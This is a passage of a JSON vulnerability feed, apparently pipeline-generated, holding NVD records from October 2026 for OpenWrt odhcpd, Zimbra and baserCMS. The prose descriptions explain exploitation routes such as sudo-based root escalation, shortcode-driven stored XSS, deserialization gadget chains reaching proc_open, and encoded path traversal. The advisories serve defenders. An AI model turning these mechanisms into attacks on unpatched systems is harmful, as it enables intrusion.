fixes.","publishedAt":"2026-10-23T14:17:53.573Z","updatedAt":"2026-10-23T21:17:23.897Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53920","asOf":"2026-10-23T21:17:23.897Z"},"epss":{"probability":0.00395,"percentile":0.3344,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53920&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53920","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53920","type":"primary","publishedAt":"2026-10-23T14:17:53.573Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53920&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53920, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53918","cveId":"CVE-2026-53918","aliases":[],"kind":"vulnerability","title":"odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt.","summary":"odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. Prior to version 25.12, odhcpd's DHCPv6 IA handler keeps a per-message `first` lease pointer so multiple IA options in one message reuse the same Reconfigure authentication key. A DHCPv6 REQUEST from an adjacent-network client can make the first IA set `first`, then make a later same-IAID IA fail the on-link check and free that same lease, leaving `first` dangling. A following IA in the same packet allocates a new lease and copies `first->key`, producing a 16-byte heap-use-after-free read. ASan confirms the UAF; native tracing shows the packet shape can deterministically reclaim the freed lease as the destination allocation, producing a zeroed Reconfigure key copy. The validated impact is unauthenticated adjacent-network denial of service and DHCPv6 Reconfigure/ForceRenew key confusion. Arbitrary PC control is not proven for this UAF alone. This issue has been patched in version 25.12.","detail":"odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. Prior to version 25.12, odhcpd's DHCPv6 IA handler keeps a per-message `first` lease pointer so multiple IA options in one message reuse the same Reconfigure authentication key. A DHCPv6 REQUEST from an adjacent-network client can make the first IA set `first`, then make a later same-IAID IA fail the on-link check and free that same lease, leaving `first` dangling. A following IA in the same packet allocates a new lease and copies `first->key`, producing a 16-byte heap-use-after-free read. ASan confirms the UAF; native tracing shows the packet shape can deterministically reclaim the freed lease as the destination allocation, producing a zeroed Reconfigure key copy. The validated impact is unauthenticated adjacent-network denial of service and DHCPv6 Reconfigure/ForceRenew key confusion. Arbitrary PC control is not proven for this UAF alone. This issue has been patched in version 25.12.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:53.423Z","updatedAt":"2026-10-23T19:37:11.060Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53918","asOf":"2026-10-23T19:37:11.060Z"},"epss":{"probability":0.00501,"percentile":0.42631,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53918&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53918","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53918","type":"primary","publishedAt":"2026-10-23T14:17:53.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53918&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53918, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-50057","cveId":"CVE-2026-50057","aliases":[],"kind":"vulnerability","title":"A local privilege escalation vulnerability in the Zimbra Collaboration Suite (ZCS) MTA package allows the Unix zimbra account to execute arbitrary commands as root.","summary":"A local privilege escalation vulnerability in the Zimbra Collaboration Suite (ZCS) MTA package allows the Unix zimbra account to execute arbitrary commands as root. The installed sudo policy permits passwordless root execution of Postfix administration commands without restricting their arguments. An attacker can select a zimbra-controlled daemon_directory in the Postfix configuration and invoke postfix set-permissions, causing Postfix to execute the attacker's post-install program as root. The Postfix configuration directory is also writable by zimbra, so restricting postconf alone does not remove the execution path. Exploitation requires local command execution as zimbra on an MTA node. ZCS 10.1.16 and 10.1.21 are affected.","detail":"A local privilege escalation vulnerability in the Zimbra Collaboration Suite (ZCS) MTA package allows the Unix zimbra account to execute arbitrary commands as root. The installed sudo policy permits passwordless root execution of Postfix administration commands without restricting their arguments. An attacker can select a zimbra-controlled daemon_directory in the Postfix configuration and invoke postfix set-permissions, causing Postfix to execute the attacker's post-install program as root. The Postfix configuration directory is also writable by zimbra, so restricting postconf alone does not remove the execution path. Exploitation requires local command execution as zimbra on an MTA node. ZCS 10.1.16 and 10.1.21 are affected.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:53.303Z","updatedAt":"2026-10-24T04:18:18.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Zimbra"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50057","asOf":"2026-10-24T04:18:18.110Z"},"epss":{"probability":0.00269,"percentile":0.18889,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-50057&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-50057","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50057","type":"primary","publishedAt":"2026-10-23T14:17:53.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-50057&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-50057, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-50056","cveId":"CVE-2026-50056","aliases":[],"kind":"vulnerability","title":"A local privilege escalation vulnerability in the zmmailboxdmgr launcher of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to execute arbitrary commands as root.","summary":"A local privilege escalation vulnerability in the zmmailboxdmgr launcher of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to execute arbitrary commands as root. The passwordless sudo interface accepts JVM arguments that are not adequately restricted. An attacker can postpone Jetty's privilege drop, register an OnOutOfMemoryError command and force heap exhaustion during startup, causing the command to execute while the JVM still runs as root. Exploitation requires local command execution as zimbra on a mailbox server and interrupts mailboxd during the malicious restart. ZCS 10.1.16 and 10.1.21 are affected.","detail":"A local privilege escalation vulnerability in the zmmailboxdmgr launcher of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to execute arbitrary commands as root. The passwordless sudo interface accepts JVM arguments that are not adequately restricted. An attacker can postpone Jetty's privilege drop, register an OnOutOfMemoryError command and force heap exhaustion during startup, causing the command to execute while the JVM still runs as root. Exploitation requires local command execution as zimbra on a mailbox server and interrupts mailboxd during the malicious restart. ZCS 10.1.16 and 10.1.21 are affected.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:53.187Z","updatedAt":"2026-10-24T04:18:17.930Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Zimbra"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50056","asOf":"2026-10-24T04:18:17.930Z"},"epss":{"probability":0.00344,"percentile":0.2763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-50056&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-50056","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50056","type":"primary","publishedAt":"2026-10-23T14:17:53.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-50056&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-50056, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-50053","cveId":"CVE-2026-50053","aliases":[],"kind":"vulnerability","title":"A request attribute override vulnerability in Zimbra Collaboration Suite (ZCS) allows unauthenticated requests to /h/* to populate servlet attributes intended for trusted internal...","summary":"A request attribute override vulnerability in Zimbra Collaboration Suite (ZCS) allows unauthenticated requests to /h/* to populate servlet attributes intended for trusted internal dispatch. RestFilter copies URL parameters specifying an authentication token, target account, target item and dispatch state into the request attributes consumed by the Classic Web Client. Combined with CVE-2026-10632 on ZCS 10.1.16, this allows an attacker to supply their own valid token and document identifiers and execute JavaScript in another user's signed-in browser session. ZCS 10.1.17 blocks that XSS chain by changing the document renderer, but retains the request attribute override.","detail":"A request attribute override vulnerability in Zimbra Collaboration Suite (ZCS) allows unauthenticated requests to /h/* to populate servlet attributes intended for trusted internal dispatch. RestFilter copies URL parameters specifying an authentication token, target account, target item and dispatch state into the request attributes consumed by the Classic Web Client. Combined with CVE-2026-10632 on ZCS 10.1.16, this allows an attacker to supply their own valid token and document identifiers and execute JavaScript in another user's signed-in browser session. ZCS 10.1.17 blocks that XSS chain by changing the document renderer, but retains the request attribute override.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:53.060Z","updatedAt":"2026-10-23T16:44:17.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Zimbra"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50053","asOf":"2026-10-23T16:44:17.950Z"},"epss":{"probability":0.00301,"percentile":0.22658,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-50053&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-50053","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50053","type":"primary","publishedAt":"2026-10-23T14:17:53.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-50053&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-50053, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115481","cveId":"CVE-2026-115481","aliases":[],"kind":"vulnerability","title":"baserCMS is a website development framework.","summary":"baserCMS is a website development framework. Starting in version 5.0.0-beta1 and prior to versions 5.3.2 and 5.4.2, `PermissionGroupsService::build()` reads a plugin's `config/permission.php` to decide what each user group may reach. When that file is absent it writes a wildcard allow rule instead: `url` `/baser/<prefix>/<plugin>/*`, `method` `*`, `auth` true, for every non-admin group. BcCustomContent has no such file in any release. After an administrator installs it, the default `operators` group can store and execute arbitrary PHP under the document root. Versions 5.3.2 and 5.4.2 patch the issue.","detail":"baserCMS is a website development framework. Starting in version 5.0.0-beta1 and prior to versions 5.3.2 and 5.4.2, `PermissionGroupsService::build()` reads a plugin's `config/permission.php` to decide what each user group may reach. When that file is absent it writes a wildcard allow rule instead: `url` `/baser/<prefix>/<plugin>/*`, `method` `*`, `auth` true, for every non-admin group. BcCustomContent has no such file in any release. After an administrator installs it, the default `operators` group can store and execute arbitrary PHP under the document root. Versions 5.3.2 and 5.4.2 patch the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:52.307Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115481","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00336,"percentile":0.26721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115481&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115481","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115481","type":"primary","publishedAt":"2026-10-23T14:17:52.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115481&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115481, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115457","cveId":"CVE-2026-115457","aliases":[],"kind":"vulnerability","title":"baserCMS is a website development framework.","summary":"baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, global shortcode expansion runs over the complete rendered page, including HTML-escaped blog comments supplied by unauthenticated visitors. A comment containing the BcBaser.getGoogleMaps shortcode can set apiBaseUrl to an attacker-controlled script URL, which is emitted as a script src and executes JavaScript on the site's origin when another visitor or administrator opens the article displaying that comment. Escaping raw HTML in comments does not prevent this stored cross-site scripting because shortcode processing happens after HTML rendering. Other registered shortcodes also expand in comments; Mail.getForm can embed a working contact form with a valid CSRF token. The flaw can compromise the authenticated browser context of an administrator who views the affected article. This issue has been patched in versions 5.3.2 and 5.4.2.","detail":"baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, global shortcode expansion runs over the complete rendered page, including HTML-escaped blog comments supplied by unauthenticated visitors. A comment containing the BcBaser.getGoogleMaps shortcode can set apiBaseUrl to an attacker-controlled script URL, which is emitted as a script src and executes JavaScript on the site's origin when another visitor or administrator opens the article displaying that comment. Escaping raw HTML in comments does not prevent this stored cross-site scripting because shortcode processing happens after HTML rendering. Other registered shortcodes also expand in comments; Mail.getForm can embed a working contact form with a valid CSRF token. The flaw can compromise the authenticated browser context of an administrator who views the affected article. This issue has been patched in versions 5.3.2 and 5.4.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:51.867Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115457","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00295,"percentile":0.21982,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115457&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115457","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115457","type":"primary","publishedAt":"2026-10-23T14:17:51.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115457&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115457, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114624","cveId":"CVE-2026-114624","aliases":[],"kind":"vulnerability","title":"baserCMS is a website development framework.","summary":"baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, the widget-area entity serializes widgets only when the submitted value is an array, allowing a string submitted through the admin JSON API to be stored unchanged. Entity reads, including front-end rendering and API responses, deserialize the stored value with unserialize() without an allowed_classes restriction, accepting both raw and base64-encoded serialized data. An administrator, or an attacker who obtains widget-write capability through a separate vulnerability such as chained XSS, can plant an object graph that subsequently triggers on unauthenticated page requests. Two demonstrated gadget chains in the default dependency set use composer/composer ProcessExecutor::startJob() with Process::fromShellCommandline(), or logiscape/mcp-sdk-php StdioTransport::connect() with StdioServerParameters, to reach proc_open() and execute commands as the web-server user. Deserialization bypasses constructor-based readonly safeguards, and the stored payload can execute repeatedly until the database row is repaired. Unauthenticated page access is a trigger after privileged payload storage, not an unauthenticated means of initially planting the payload. This issue has been patched in versions 5.3.2 and 5.4.2.","detail":"baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, the widget-area entity serializes widgets only when the submitted value is an array, allowing a string submitted through the admin JSON API to be stored unchanged. Entity reads, including front-end rendering and API responses, deserialize the stored value with unserialize() without an allowed_classes restriction, accepting both raw and base64-encoded serialized data. An administrator, or an attacker who obtains widget-write capability through a separate vulnerability such as chained XSS, can plant an object graph that subsequently triggers on unauthenticated page requests. Two demonstrated gadget chains in the default dependency set use composer/composer ProcessExecutor::startJob() with Process::fromShellCommandline(), or logiscape/mcp-sdk-php StdioTransport::connect() with StdioServerParameters, to reach proc_open() and execute commands as the web-server user. Deserialization bypasses constructor-based readonly safeguards, and the stored payload can execute repeatedly until the database row is repaired. Unauthenticated page access is a trigger after privileged payload storage, not an unauthenticated means of initially planting the payload. This issue has been patched in versions 5.3.2 and 5.4.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:51.583Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114624","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00613,"percentile":0.49037,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114624&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114624","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114624","type":"primary","publishedAt":"2026-10-23T14:17:51.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114624&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114624, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114622","cveId":"CVE-2026-114622","aliases":[],"kind":"vulnerability","title":"baserCMS is a website development framework.","summary":"baserCMS is a website development framework. In versions 5.2.3 before 5.3.2 and 5.4.0 before 5.4.2, the optional BcThemeFile plugin's Admin API validates a raw path in ThemeFilesService::update() and getFullpath(), but ThemeFileForm::_execute() subsequently applies rawurldecode() to fullpath before writing. Because normalizePath() resolves only literal dot segments, percent-encoded traversal can pass the containment checks and become a path outside the theme directory at the write sink. An authenticated administrator can write PHP files into writable locations such as webroot and execute them, exceeding the intended theme-template editing boundary. The source also identifies the same check-before-decode ordering in ThemeFilesService::copy(), although that path was not dynamically verified. Exploitation requires the non-default plugin, an administrator session, and a same-origin Origin header; USE_CORE_ADMIN_API=false does not block session-authenticated requests. The Admin web form is not affected by this encoded-path tampering because FormProtection protects fullpath. This is a third bypass of the protections associated with CVE-2026-30940, using encoded traversal decoded after validation. This issue has been patched in versions 5.3.2 and 5.4.2.","detail":"baserCMS is a website development framework. In versions 5.2.3 before 5.3.2 and 5.4.0 before 5.4.2, the optional BcThemeFile plugin's Admin API validates a raw path in ThemeFilesService::update() and getFullpath(), but ThemeFileForm::_execute() subsequently applies rawurldecode() to fullpath before writing. Because normalizePath() resolves only literal dot segments, percent-encoded traversal can pass the containment checks and become a path outside the theme directory at the write sink. An authenticated administrator can write PHP files into writable locations such as webroot and execute them, exceeding the intended theme-template editing boundary. The source also identifies the same check-before-decode ordering in ThemeFilesService::copy(), although that path was not dynamically verified. Exploitation requires the non-default plugin, an administrator session, and a same-origin Origin header; USE_CORE_ADMIN_API=false does not block session-authenticated requests. The Admin web form is not affected by this encoded-path tampering because FormProtection protects fullpath. This is a third bypass of the protections associated with CVE-2026-30940, using encoded traversal decoded after validation. This issue has been patched in versions 5.3.2 and 5.4.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T14:17:51.283Z","updatedAt":"2026-10-23T16:28:32.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114622","asOf":"2026-10-23T16:28:32.357Z"},"epss":{"probability":0.00488,"percentile":0.41738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114622&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114622","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114622","type":"primary","publishedAt":"2026-10-23T14:17:51.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114622&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114622, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114621","cveId":"CVE-2026-114621","aliases":[],"kind":"vulnerability","title":"baserCMS is a website development framework.","summary":"baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, list and detail actions in the Admin and Api/Admin prefixes pass request query parameters, including contain, conditions, fields, finder, and order, directly to the ORM as options. A user able to log into the admin panel can embed SQL 